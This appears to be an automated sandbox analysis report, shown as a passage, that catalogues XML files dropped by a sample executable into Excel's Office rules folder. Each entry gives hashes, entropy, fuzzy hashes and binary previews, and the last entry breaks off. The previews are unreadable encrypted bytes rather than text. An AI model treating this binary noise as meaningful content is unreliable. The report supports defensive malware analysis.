MD5:	887F8859686B69B22A9518C07889D4BE
SHA1:	12CB2529B677C1B873C38FC622096149CB1E1B99
SHA-256:	B05CF939751414E3954FA397D0CB612116000D217E4DAFA6792A5224086DE60F
SHA-512:	B665E267115C18ACEB76FCBCB09D9CC98770FB2881A04D4193E2D56C48B84DB52DFFE566D5759CC7603BF2C07DA48BE021425FC1AD7ECA4D45E2BC6542821CB1
Malicious:	false
Preview:	<?xml.....CP=.E...O.)....U...G.C....Y.[Zm...p.)..Np..;.....jsak.E.2..D......Z..Wc.....\/B...t...5.W.E.....P.;&.d....L..W\|.b8.....+.v~D.r...G<../...@.=...'...)..{@../..;..;..9.i..+..W...b..$CA.<W.%U.....$....s.F7y..S.B...=)J.+.^...Qi.~y....4.U.H.U.U....L...U....Q.....L/..rhIE6.1........B.y.K...a.I..Nx.^a..e....P.k.l.}..=0.z]..P>.n...{D.B.2.HRq..<#....T.uW....../%.rU......J3,O..?+...3j}$k.C..8....n(..O..y6?..Hi..x.....7...V.B.<~8H..,.U]...?LJ.]g..?..........O.\|5.x.....y.j...\O.....$_&.....c..Q...W,..F......O....a."...W\.K.m?v..,..nC..w...k@..0..0.).....HO,Q~..6 {.Ng...d....:D1..V...Y..<../.'g.s...b}...#.a...B..+8.Y.k.....lHu7........S....T.W0....Y......yA...]a#PJ.....4X."F\|.:./.&...6..mm.. ..>jk+TD.N..'..7.....y._i?g.a9..J.x..(..../..+.T.T.. .HhQ........F..1.......c...d..31~.....Hg...x...}Iq*#/kb..v..D..Z.........E.....R......F<kQ..[.l.t..B.wV.N.2.h.-K]I...5........#.....f.....k.>..!.....>N).$'H....u.[..&..c......`v".W`)....GQ9DjFmWFDqpsyzsO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.682089465912338
Encrypted:	false
SSDEEP:	12:q9b4EZYPB/ZPWnQrD0sFXcI/oIBNvoCaESAUET6zzPhS08mFWtYcii9a:qd1Y/jf/oSomUET6Xh18m0+bD
MD5:	A571771B7CE061990EF205692E10A38B
SHA1:	31FE3F35C4F2920431B5E1ECE87ED3CA3EE44847
SHA-256:	F6784E4747EBFE4496903FA3F084EC3370CD42CCE7A0FEBAEFC8314FBF3EACC6
SHA-512:	2058FA93A28A21C4882BC5984AEFD184EBF6692D6E755D64D70EA59457849B8C22287056917E3BFFFC82AD2B3FE57B267AD6554B0C524FCB85140F1539624E59
Malicious:	false
Preview:	<?xml7..D...=......?5.1&..P..A5.vC9Z...Iu.-....8~8l.....R.!x...:.R..!.........7.wB..^....W...`....<e"I@.."_x.G?...X.o..%.xz...Y><..xdq.../.C..'..3...v....b'._.....W...L..@L..LMq.sp......?..,..MX...........DE. .pl=XuU.X.:..0.'..E^....t.&.._...k.FO<.....<.1>......!.NM........e.L..w....c.2X./..'V..x...y...q.q.uT. lr+...3..T.,...l..b.JN.POTa...3.x.9..\|@b..X.4K2X:..\|3(..7%.o..$CKkqo9M))........Y.......#.......B.7...6l.......G$#..Mo0....Y.8.....M.$.FT.....ec...B..d.Uc..^./:.,.`..q..\\..q......BH&..?.~wa.....w.....).{.....z..1G..7..}....3v....5n....N..1.kT....E..Pf...........m.U..w.5..X..E.r.7r.nv....tW...@....bh..r.J.V.X.'mvNcXb..-.....8.{&.....whN.m>...=. /U^v.?....S).....{p.....b.7}.fGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.868571446194374
Encrypted:	false
SSDEEP:	24:SYNXRxzdgueQ1x+fQrZsBQt4TKZsbi7VpIKkiz+6pUeEnDMk9Q+/C8XGibD:JNX7zdXjsBQtaKIi7DIKkiZVWDMkyqpD
MD5:	E2B9FDACFED0AC014134B26B1B0ED08B
SHA1:	071511AF646ED6FAC15F6DAE19E4CD1530A9B756
SHA-256:	471A144ADCD191D1202098E06659D923E1234305C614D172EB53EEF7DB665F9F
SHA-512:	29D088A86FF5420DC695CB349A9AB9A3F04898BD42BAF40DC48ADA3C7FB032C1AF9C5F30BFD03D227702FCA620D332F9FBF799CA8718C11F5096DD45499423DC
Malicious:	false
Preview:	<?xml..".Y.i.."I.>B.....O.$...$.....f .5..?T.d....S...k..h.X.&....n..s.mR..&....TI...r'.#5M...7s.S(w^.(.jy.5....RhO......Z....Y....?.r\..........:..W.....:O..)%.............b.-..^u...).....c.......&...Z.u..>uS{.(n......>..f...:...1+B..A'.^E@.7 .>....+.........pZ.i.6.0.x.>J.+.O..a...u.A..N.7ja..H.1&.........d.s.."<.H.C..G%...`.N;'..1..D.....g..~..w=mB...B9..P..:....B...7/.v.H+.H.....KM...ZzS.B.ZBZ..p.,.l."..l.......!..1.W5va.'..+.._.RI..._.R....A.!./..,..\|m.r.Gy.I.].8Y..U. ...;*"..#x..{0b....Q...:.....E..R.....U.!^...].z\|....Et<C~.Rp.o.,...pE..... I.f...m.?"..j.Y.2Q.3S......5%..I]..#..z.vO.'[...-~....>.e.K.LOO.....Q.H...9..Xy...:..[...2c./8.p.........ef..m.i.lv.Z3...$..&{.Q.>.c;E.X.2.].z"Z.q:..1..03..D,.n.g;X.M..&.W......S..8....i.~.8..M:..r.2..b..K......{... h...u.s[&.....%.^...dx@......,>.X!.........@.....47........3.Jtm.......6.)....d;..@.2........).&GXbq...............E]).cz..q..j_.lEY(...@...L.........l....Ws.o~.(&}c.LR5.1@Kg..5#./.C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.861088507642853
Encrypted:	false
SSDEEP:	24:G/gdxXx0TsjkztfYWJ1JbiGDwhtbsutEw3FdNcoQVwSRKVbD:37BQsjkztfYWJ1JGGDwhhhtEw3L3IeFD
MD5:	D1DC212DED64BA874D02D5DEE30A6EB8
SHA1:	1C78A7B61490E7C2877158E7DEC403BB07CB58FF
SHA-256:	D4A43567FDC0F3B446D017502730F447B3AB96B0EDBD3287F9FB3EA1F9D128FB
SHA-512:	BFF609EAB9F2ABA2E913BDCF616D88CF501AE3E535BA1EFE4DB712F4D03D479B481B5A9FFAD8025DFD76A9B3081745BAF663E6342D8C50C148529765F931590A
Malicious:	false
Preview:	<?xmlx.)...#5)..)%.]..\.e..).:......,fY..`9.8..jy..pD..6.x.vg.i.^.h5-x.5J.H...h%;..+......b}9.$.X..(.'35\|.(.H.....D.........7...@[%.vQO....-.....6.{7.....9.+..Kn.y.k......................t........S2.j...l......o!..K..c.e.I......>..].9.(I..........B.Ix....uj3Hl .zq".5.........U.W)..(........A..7..`C}...p0......... ..v.....l. .=.j....%cD..e.....KU.&......."x......L.~2+.:.H..\|...hz.vm.......;.\|0%!..}2.....Y-G..{J..;.G."9....3.b.z.(.......e'...J+....6?...+.te...t..~.....k....[f.........O-....30...<p..GJ.....5.hB'S....y.p...&...{.[v..8.)F.....8............3.W.......+.T...U..8.o..g8.1.......hFByH."..Z.....6CV9.0...7[W...4H.F8..T...l....!./.#....z..].E..d#Px.......4.+.. z&.z-i.e.g.&.#s......Kh....o;.6./.....4\K]+{`w.V..%.^.....y...~..A]1T...E ..b(..h.S...x.K..o3.K..AO.;....Z~....C/.Gk.<..N'..u....B.e.p..0Zf........X....\..j.1.T..../%..=.h6.. GI...si...(...!..\.>.m....S.as..\|t9.....20W..........d^.m.9O{z.8....X.y.=..O9{P]#.v....e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.831320200524888
Encrypted:	false
SSDEEP:	24:ZbNS+txeia82J7JmF9qLjwM+2GKIvdHUp142hvS1nPqsSLCfedlfibD:Zbs2x/2dmFMjwMtTIRE1ro1nihCcSD
MD5:	18ED521DF0987AD3C681BF93FDDC1E7D
SHA1:	F30D075772185E2DA8A04433BEEE15C166C0EF01
SHA-256:	ADF1BBE8CD3988F7F75FCFCCECB3D324AEB0492FF4B3BA6351C61740A7D91B20
SHA-512:	FA7D3F6DCEBE544F0299A928C604F2D17C989F29769368972D37AB54FEB5097ACAD267435D28E4FF55B5BFFC25C339E2B7566A5426B701EC6AB96795CE85387D
Malicious:	false
Preview:	<?xml..Ik.!.+...?...{e..n..'......G....DjI......;.Q...p..g...7i._...+t..l68.....n%z..h......_Tp.K..>xOM..)0...E..gF..l.\|.....7}...Y..F..!........3.X..o.....3.khtl...B-....\q.&.ap...>.x....s........)r..9.d.......)....w.;@.`e..8..J]..~..b.x..BO.X$'...W........x......vk.......k...lz..S....8.9.7..WGj..6.M54...g._..R....0^.h..6d..V@(PZ......7.)m.\|........U.$.o.,......k....-C...O....:..g......].`o.....B..;..d..Zj-Si.)...!..>q.5\?.i.,..........R. .dF......,..J..#i.D..+.e.uP.XUt,.+.>...#UK.j....k.W..C.S..[`...~.z.........y..&..%.....H..NR;..S~..<`^../..<....L;"...G.h..2B...f.. .O..:.M.z.,.W0.)...........&.)u.[J/.v.Y...G/\|.h..{......=.2@j\|..B..bWm.l...<.^....2....Jp._}s.G7^......Aa....l.............2<.B.m.F.Y?..fa..^.f..=s...r..e..n-..z..........h\..l.....ApK...$...y3.X......G.A0%........q./x.w\|..:9.....x...\|.....:.....=...%.a=..J]..W.._.....7e...Rle.,s...j..`].).kL..%..h,kW.."'.....!...{]..p...Y.u.f......].N.~.....rG%...JW...a;q.y..l.}.t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.838417186406696
Encrypted:	false
SSDEEP:	24:tNVk87i3zv021btDd9/3AWsgb1M/nrqXqWnBZCWpuKVLhb4OhUbD:tL0zv0yDjAi1ihWnj/b4OkD
MD5:	0F1BBB5BC5D91BCB477F066FAD330951
SHA1:	77A6CEE8218D80419C09609D08A56835A4CB8092
SHA-256:	D9A14FFEC80392EBCC03F6561A6489455D9970CCEA4A0CA67EFF64DE5A034A09
SHA-512:	A6823D6BBCD64090656AE8BE22491289957D92D96097753C74FF4928258359104664C631B7612A5BF432442D5B531650E1AB0265B4BA100EFDBDC88DEEFDD29B
Malicious:	false
Preview:	<?xmlf&Q.=.=...d.t.c.o..;......E..Wk.......N'l.K2DN&M.{....%....\q...c9....i.....@.^.0.+.=...(+.W. .._...q.\|.^.1..2...c.~G..C.U../..l.xJ...W.6....Snr.Dk...`.....Mr..(..d (..p.}....]x.s..{4y..b.Q...`u.l.... .5fh.o..]..&...Z....+v.n...I.Q.].t..C...h....G....<...9D...;.wH. ..S.Qq..Ml.R.^a.;......o.<J.dc.a.vW...jA..ts..z....m..q.{<]..rPy..n...BQ.1..S..eQ....>...1._.......K.Z.S&0.....[.A,....N..EB.T.<..<.w..=.R...R)?]={...x.kH.....=._.\|FD..qW..=..........P..R....)P.f8...5.q.1. .y..n......s.n......k...Wt.`E+c.v..z.2.4.n...J.&..1.B.-O.....'.M"...J+.......o./I....}..l.....1...l.......GB.XG.g2..t..#.Gdp~..5.T.....(.V'\=-.\.+...D.....+ v..j.3...&....\..p.....$.B.{..b.Fk1.!..y.!"..8.....U?,..6r/.e.X......A..4.N........J.?y.o.u.a...B...s.H..8<.^.!...o.....i..zg.UM0g#.Y....;$.`..[.6"....,2Zx........f.}a...k>lc...vq........niE..9....0\|..{.Ik[KD..l.Jk.$gZy.8..P...7.}..z..C.......bA.9.c.y.N...hw..q..W..mQ.I..>.C).a....k.?:..$....}3{..p........j.q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.900089449199296
Encrypted:	false
SSDEEP:	48:csaYzObYsL2838WIJ+LRxedlsd2birhHR4ZJrwyD:TCtbaJ+LReJbir9GZJ
MD5:	F93432D3C1E1FC8CBC89675372B0C909
SHA1:	FCC5BF9864F2AF1B30BFCA11805556888DFE5ABE
SHA-256:	1A2C4757AEF37971F3E46C8F6A3F872D7242E57B43039BB2A292FC6A0326AB2F
SHA-512:	CBE61B1422B84840FE7296002E2545E4317234F2123EBC2300A3C62EBB09AB4924566BB0D1C17D40BF25E33A22685B40E2E7A3336254047A19911CE5AD0C8577
Malicious:	false
Preview:	<?xml....4...P0.5...,...8^S...}!,..b...W.....:.f.#&..o..Il..Q.....4.A...ww..8...EW.^.p.!.......iGC#./.+.....=m.......d..h....f.....<..2..E(...c.F.&6..5.f..=Ubt.....D ...oz..Y...19.&'R.t..?.-..mY.....U3...v.kyk....q....:.1.3U..\|b.\|I'C~...y....#.......#U......v.....\6..A.-I^....V@....3.P...W$aj..\|Q.,.......A.zb.b.'.{...7"..F....).3\..'.X$....>.\..ya.e...2...su.......Q....!.c-..Opx..I......]&..x..\|..c.1.\|.P>p.:...@...X.B....A"...E. :t......\xr.4.!.\|.f.n..kzg..Y.....-.E.t.....b.........]..I...U.....w..}..J.b....5....kn.`..O.v `...[...M.o.&m.jd...a3..\..Ri%.K.}"...t...`.'.Y.U?.\|.c.G.R.2?..@....y..=..!.t..I3.....i....dO:xL....\|../.)gxX..P.'.`R.~.>....4.T......6....6.Sp..<[K....c.O...\......$..(..u.A.V.y...B{..._a9..q..E'<....k...=T=}..H&P..pn...=.\H...)...u.w......-..X.B.4...?...8...$9.M.T..QC..JwQ..b.X._3.?.......j.0.......\_ZA...#%6..Q$.......L....\./...\|..8.(.4#.N.&.U%...Z....... ...Z...=..\|#.O.k.\|0...F.Io.3..`r..C.O..\.T... .s.q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.780803756215577
Encrypted:	false
SSDEEP:	24:4jqYGArO0+FM5aMvdHsmEqzYmVk/oD4ipaunF8XGnRaYHQ7bD:mVO0UM5hvRsmlYH/ofkGRaYHQ/D
MD5:	68C35983068C02597A8BBB5703DED1BC
SHA1:	B471C51B5EB657B8A0A5DD1D106AB69A90D1DD69
SHA-256:	E9C2FEC210362FE4D6F09AC9A4E4493D4303F9150A41989368958606C67D6472
SHA-512:	EA1E94338A0D2ED7C5F18E6E0D2BFCBD6AA9F704C3E0A6841D73FEE8C725901F80EEE32BB90C21AA555A0D0956D2A27237167222601315682670B48177B7918B
Malicious:	false
Preview:	<?xml.../.....-..D\|$..lb..9..r..5....%c}3a....:..,......N....yw.I.eFI..$X..Zt.7;.U.J.5.......k.....B^e...]....gu..).)sC...w."R.H..W.Q.0....O....3..'p..........{._)...~...i....2.'..k.tN..x....7.Sm..yi?NW].......y.....G.a.:.V..>.l.CK...9....h..i..Z.s[~V.S\|X....}..m.1.}.\.om......O....B).P...zM....v/...6G..m'.j.yxNO..qD...#3....7.........[.Q:.....2.....`...T.2m/....s..iC.....i...rF@.vc..fh.f.A..{~.....f..i'.E...i.O..9.C'..p;...>.#..R...y......)G]....1..A.S.........k....S....b.w...e-.....\|H.s.;...Z....D.......v.3u.'.7. ..../.9c}.vJ..n.V..#u...oI..O....6.....[..,..k. <.Xm.(a.<......d...HM...rbV.9........K.-...}i..M:..Kg..u9...KA.;.-`.R.Y7h#.o.2..T...7..{.a.....a..!E...5....u........A.sI...1...s'..).&Wn^-/l)...0.-..5...@./\|..#.....m<n9.Gy ..D.fn..hIE{..r0..L.....S..r....{..J...E..b.C.....5.F.&;..."...x..>.U..$R..FH.$.....K.......P.L.1"...ss.z....v...}..."..svl..l3.JkqGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.896491074304749
Encrypted:	false
SSDEEP:	48:Lwlh4tGv2nSB0AxBa1+HEtDkNYHh5rihJ25+O6D:LwzLHa1+HWDSYHh9ih5
MD5:	8F66682052BB323AAAFB133E9A089E84
SHA1:	7D0A8E656E2B17613B0C54A1C021C0A182BEB4AD
SHA-256:	4F1178F38AC5B43C0E1DF6E1C76EDE13E889315DCBA123A4D2335CD890535ECD
SHA-512:	CF5BC77DC2FB545461693E32ECC033AA6FDC6A1B98A04322A6364D4A77E919C071A77B92E4E6BB2C29D6CC3888E8E3813F94F683B4F6EAD5B6D6D38C43134AC6
Malicious:	false
Preview:	<?xmlyzq..f.S..c...zjU.......y'.....sp......)q.$.%.I.[..~....M5..c./...mPd..m..)..p.~Z.`b..7....p.c_..z`h...<.......Iw...c..H}.]&U..Bh.!..G.....2..Q5....,gD...p9\.h..z.".l.u1../1....U........_H.w....w...C.....NVh..>Y.(i...L..>[A.2...)...sc..7J...p&.g.\.y$i....{.,..!~.:NWvxh.h.........t.hV....QU...6g......4_0\.fL5..+...^....S.Z.v%.\|..n(.....F.gOL.Gx^..d..E,..EB.4J....u...G..W.....G..K..D.KU.u#....X.8.u.']a...&.#W....p. 9k.B'..\....ag.........(.N....^4.s..SH...7.....A<..(xD.C...f.,.Z#.x.h.m)..\|.[ns.K.).YC..;)Z..Q....u#."...glLO..7..2p-..+......E....b+D2.y.M..J.p<.b.l ..q.....:d1.:.a^...=..e`k.L...a..NB..l-K.gG....\..b... &a.l..$..u.......)'...R@....^."...iK.#.b.........,.($d....y.Mp%..V2.{.K.g.F.=8.......).m.......s.-.<....../K\.T..8.1v::L...r.a.....".;.6........q..(O1.@/.+t}c.e.......[.tK.....Q ..3.._E.....w...uz\|V.z8.R.{%..3..:..."2.$.......Bt.LS..]....B...M&....@......b7a.u}.....-.)....<..L!.5...Du...O5..0B..)U.i...8X&..1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.951937468337685
Encrypted:	false
SSDEEP:	96:zFnCyBfg3O13Pnzhy1CTL3Uzjw4PwW949X03VlICJ:z8Ifg3EngmSj9Pv4G3z
MD5:	87FA453FA2EFD7174AF883C956223296
SHA1:	4C8B12CB7FE02D4FA500EE462BBD14027AFC6DC3
SHA-256:	E90B70A58C23CBB20D6AF080D18779739A461ED9EA5CC0C5A3476E4091D6EE11
SHA-512:	E50C818BEE019B5D97ECC77C4CBF21BCE2FB81B9EE24CCD990D050E92F34D0240AA8741DB16C3142DC825B2ADA8D4BFDE2C19050E78D4E9CF6C8994A9F70E6C8
Malicious:	false
Preview:	<?xml.+.9.rP.Jda%.!.\|W.h..rQe$.;,E....]...I.....k(Vq....f....)...i.}.H.../.D..]....~.?~(...@...l..."....}a...B.u.r..Sy..v.x.B...72.r.t.=..u.'.kF.i0.].@...E.......C.o0g"P5AB...O[2..]....#......'..e..`K.Z...-}.\|t....=g.g2$...I..k..^...v.Wn..B..>8..!':'!5..'iI&..@.J..Q8f..L6.u.....o..~.[.Y...p.p...A...(..^...\|..1z..)...)XX.7ZZ..V.]BG..-....%"<.....#.z...F.uH....Y...E.=..$.....^H.....3..9.[d/.Uw...G..mO...a@..J.@......s\|....../.e"C..6u.6._......W......u.j.h`...0.Ht.jA[.XN.=....A.R.......z..#%.P...n...'.\|v.J^....:mhVk.....iR...V..A.(..$.....%......!..C.."...y^..J.Q..Y.".A.Ak.O~.........S.u..............6R.f(..%+.fK..}e...l..Z?.J:.;..B.B..".n..N..D........."..X;.W..M.l).1.;..p.....,].=.9B.h.Q..&..<.m...B.....@3<.W.^...G....J.PJ.....P}~'R..7.Y.....!...2.3.. .`..Q..a.4.3.L.....b.T..._...K......F/..g..9.....l.. .3...=j..^.......T'.3sY...x...xz.cs....q...'7?.....9<q....}.j.a }5..3..<..%.~.......\)..5E..v..(N...v.Nn..................@Y....dw.f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.869673380481021
Encrypted:	false
SSDEEP:	24:Q54bgk5g84uCKpmjZHU0hyyGd7OGhUY3jcC0dXOcUpCsExUJjhgufnUt3mTwfhte:QBkFn9QHjhGDcpUbQUJjNnamskD
MD5:	E0BED2999E11EC044139F54F6EB671CF
SHA1:	BA5E32D6047D115F7EDCE49CC38956EFA4848A41
SHA-256:	E88DFA18AA0781DD3D211D7B946457CE4DDE2BA78E1646AFEF48374C7B761A4A
SHA-512:	D573553017D01C7D5C7177F91955B3E285C250C59D8177AEC274D56FF8BDD452C0934811F32069429A8A96F6BC536D3743F65A3AB8EAE28822C0B3E267BDCDFB
Malicious:	false
Preview:	<?xmlm....e..X..e.N..R.b...uY.L.m\|1.zEoJb0.......A6A.vm.ag.7...GF...G...t.#l......pz....n.V........+>I@Oz.....6D]z..H.Z.j..j5...7_H.......v.t0. ..iL......`.C.O._!.Q.g..Z.Y.x&v:m...m....f.:.....!{....}..."..X$N."..z.AL".(...b.u.:m~.....>E!.uk..s.A...?.a=_L&...........qi.t.>A......(F........C....`P..0..:.;.s..Z..G.T&.....I.k.'...[a..... e.&q....{...}.Xt.P".+...,......,.nZq....d..ri..s...^........L..hC.K.`...w...!Z.^....5...2t....'..LD..DC..'...Y4A....O.G.......}...o..%q....Sq...\8.....C.....LW........A...dL!.....k...Zgs....l.g.n.!L...E.;..x....p.)o.\`vR.&..O.+..W....m.D.........xH..:........eJ..g......y...%.T..{....[......VMy.f.V.<..S\|!%.D...F..gD..9......@.$..zx.D'?.g......).)M.....&....\|L.d..L......7.{.~.I........@.j.%......>.Y.....L@.p.j:...j.i...'...OoM.fE.Y.j i.cg.......T]..S.B..r...l#..4../Dx.)F?]t.....dv.]..9@..t....R..........<..........9.pM....%..q.o?..Q.(.8...<*....C}.B..~...Z.W%.,.7\'H~.s.]_.m{.l.j..z..=\|#..t`.J.(..]WB.V...A..R...&q.6d;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.904385003864153
Encrypted:	false
SSDEEP:	48:i6lj4kYCKVcP0iTOo4K65n69FwpBvKcrNNrlD:i6lj1YChXL4rN6FwX5
MD5:	4EBC41C6E6004B1F4C0A3A6076B87540
SHA1:	97873900A98F125AFDE60BDCB4022224FB8D8CF0
SHA-256:	01AEF954DCD33794FB32848AF3F8EA101456E208ADA9BE01294F7CD80F4A6B10
SHA-512:	0D96F5F1F500D7939E090A76715B5A34404E58952369445D2FBA526670C8F0F6D4BBCA5804E48DB71A113942140211190379CDA50CCC3E6B16C1B66D2DF3CD67
Malicious:	false
Preview:	<?xmlb.....%.A.....[_..5.@Q/%........7.\|y.....`c7v.........)..y..@xc.fN...z'....j7sv_.6.1....$Z....l..JO....X..[..p.M...%...}..S.R.T....Z.]R.&.[.b..7...{..Rn....U.\|?X.@#.....(....a............\..`0..f.wP..C.a.f.......)j..0.?....c.t..z..../.k(t.X)....D7.9..R....(-.\|..u..L<..o>..C.&.\:..7...X)N.!....!.K.....2..I............vui.y...GeA.p.I+..a.M.8..ih?y..#v.....M`y..........(.d~..L..ai...B....vA.(...F..J0H=..F.VqY..7..S.M.>.+.]......h......`...x..)..`j..(WI....I..r.Z.....J.....Yf. #..8W.x...[(.z]^a0..?..:..Wz..:.9.k.iu...........={c...QQ+..SO/...7$d.4s`...y..@#c..\|.e. !.b#....1#.1...n.>.m.e.].rP.9....J`.'.-......<../......YC.VK.kn...5AK.SOV..[..rH.H.K..b.. .m.%..d.....o^..._.e....k..[..K....~)..h...........f..4$..j..w\=...l......7?..7....:....}}. u?.k....Hb.n...)0)...-..m...06Gf..p....b......0.U....u......tQ<..fl...X.x......wH..w=y.=.7./C....\....7..p...9.\kA..z$kw,t...;...0..;..si....".T.C.Ht.}tk..0u..._C.f,....F...y./B.A;.X.....)....a=..`....L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.942039919866245
Encrypted:	false
SSDEEP:	96:F1z8lbNpOKkjTa8jgYbAkAliEyD0cdgf0Uaox:FB8lPOK6W8jFE7wpJgYox
MD5:	16CFD1CBB5AAF070B80DA22E7916B585
SHA1:	EBA3D6E34C3E7B7D4C5236366F35F241E6AE7D89
SHA-256:	BD45143AFCF94619D3250897C14694D38B5A4E8EAF8A2329B599C98CC3223E80
SHA-512:	6A92384C252EF583DA89475F8E290ADFAD64824F049D3A1C83A374A909E70FAD9E2C8269C52BC87411D3B5937F8105C508C15D2F366B85B630D7A5F064D1FA65
Malicious:	false
Preview:	<?xml.....[<.V.........v.....;......a._4......:..^......e..!..A....8.-....-. .....>.Kf.....K......O$E\|<.c.s..k.B.....W.../i..eS.l..f.=8F.=./:.........v.....4T....;.. )d..}~t&T.?..&-.....d..3_{...a..:c=........Y......l..f....,jz...5.I...f.....Jr....0.8........6...^.G(.G...6{..q...eO.0.kEDZ-e..h[..'.......j`T24.).....Y6n.lL$2Y.^..2....gF!.......l,..w.....H4.......A..^..'".....LA..;Cn....Y...<..1.).......XQ..!msOF .~-Q....Ba5.7.xV1.r....$..W.2[.&..e.....Z'....H.i&e.....v(]I...*...>g...u..b....5.9T.;Ji..d.L].....(.(.G.Xi.W..E.Q.C..F.\|..O....5...>.$7.'<^.p...).....bD.....C\|.g.zR..z..K./...i..g......x....2\..y^V\|.+S...o......_..~%..C.j.a3...g&...p.....X...=.{X:....y.....~`R8...j.....kjv".X...Vd.k.."f8.1........B.}.FK../...aWo...W...D.R.....K......]........D0A.M.../k.(T......+...w........QdE..'.`h...k.]...x..(...6....~..n)..L:.7....?s6m.U....b"Q....G..w..=y...''....k...o\.s...&..HN{w"..~(.L..<N.........kc..`. ..>O&.4..&.<.g[...J.8..6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.7896208736060855
Encrypted:	false
SSDEEP:	24:Xk8hQ7MBUhoCI3qAIvdr5BDOzgaTsfX1zmvwRjEsEI+PbffqzTvCIbD:Xk8GQ+oCX1rOzd01zTkIND
MD5:	EE056E3BAEDEBA4D5C8D4C00D6FC1911
SHA1:	1DE5BEDC1278922ACEA140AB4356DD13E5B04770
SHA-256:	16D888A47E068F4DD1D66721982E443BD46B2A1B3D9C65BAD750568EA94E97C4
SHA-512:	2A26E2E0F4F4D254D7C9532960C02E548E412C31924DE89089F553B72BAB8910C4CB6059DB8228A4A948A2A6AB0670D7DE22DBC2EEF04764C97E765AB5900B92
Malicious:	false
Preview:	<?xmlb..w .\.2.N~...A..a...T....g....:..^=.?......y.".e.._p.B.]).Vv..Q...60.A.\x../U.@...L=p.5O..@.5\).w......7..Rz..`.K..1c8.&I....5.....e.Y.....).../P:4i....`...?F.P...tI5........-.'..8..6I3.G=-.K!..0.V......K.)E.%\|.......?X.x..qn../9...3..#.W.B2 ......;. ...gp.\.....Q..\!.y.\|O0...@.%Y...4...Y.%.I..c$.....z&..<......l..I..bY..cL.#......r....9.Q.]~9.k... w.f...Q.d+.$.Y.4........M......E.w.V...X..O1..........\|..Os.F..d..T/....n.k,..d...3..B....".N. ...v=.7.....qO.J..X...... ........[....y.........&u....S...'.....K%Y....a.W...I.A^.?k...%[.mJ-...<m....64..nX...Lf..cU..#.d.......W1.mT=..R./..1...6.=........;....-..N".m..N.g.f..\|.Z......x.`%.....AU.~...+..Q....0...../.K..b."Te.i......3...t.......... .!.....&-e.E....g/.[...G>.... 8..l.6.........[.J...iTDG70K(.......%.N[PQ.n..T.x.oV....Bp..o...U.......:O..43=.....y...LB....9i....#.XF...l.!~.u..l..c.....+..)..B...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.920701948309979
Encrypted:	false
SSDEEP:	48:lzDNVVqFlRdWXF6d+573ldIs8FCjVCB4dJ0x8qxf7LY0AXxhB9D:lz5qFFW16d+571GFa4ydyxtBdAhl
MD5:	86F7009C33ECCD1ED6C39CD336797A01
SHA1:	CAA2FB98B1281A7730A26E3FD2005D4343504C68
SHA-256:	C140D10546B149FD2EAFCF9660775E51882BB20B92177DB32A7C8504FA0290CC
